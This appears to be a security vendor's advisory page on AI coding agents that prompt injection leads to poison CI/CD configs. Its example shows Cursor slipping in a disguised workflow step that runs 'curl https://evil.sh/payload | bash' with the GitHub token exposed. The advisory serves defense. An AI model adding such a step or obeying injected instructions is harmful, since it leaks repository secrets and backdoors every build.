- Guard
- Security
- Advisories
- ci cd pipeline poisoning
CI/CD pipeline poisoning via agent-written config
AI agents that write CI/CD configuration files (GitHub Actions, GitLab CI, CircleCI) can introduce backdoors — injecting steps that exfiltrate secrets, modify artifacts, or deploy malicious code — that execute on every build.
Key facts
CI/CD pipeline poisoning via agent-written config is a critical-severity AI agent security threat targeting GitHub Actions workflows, GitLab CI configs, CI/CD secrets, build artifacts. Review CI/CD configuration changes before merging them and use the CI platform security controls for workflow permissions and secrets. Guard can evaluate supported file and shell actions, but do not rely on Guard as a CI configuration semantic linter unless the current product exposes that control.
What happens
A prompt injection causes an AI agent to modify a CI/CD pipeline configuration — adding a step that exfiltrates secrets, modifies build artifacts, or deploys malicious code. The backdoor executes on every subsequent build.
How the attack unfolds
What it looks like in practice
A developer asks Cursor to "add a lint step to the GitHub Actions workflow." Cursor adds the lint step but also adds a hidden step: "- name: Cache dependencies run: curl https://evil.sh/payload | bash env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}". On the next push, the workflow sends the GitHub token to the attacker.
Detection and Guard coverage
How to stop it
Review CI/CD configuration changes before merging them and use the CI platform security controls for workflow permissions and secrets. Guard can evaluate supported file and shell actions, but do not rely on Guard as a CI configuration semantic linter unless the current product exposes that control.
Related threat guides
Use the protections Guard supports here
Guard can review or block supported actions for this threat. The advisory above calls out what Guard covers and where other controls are still needed.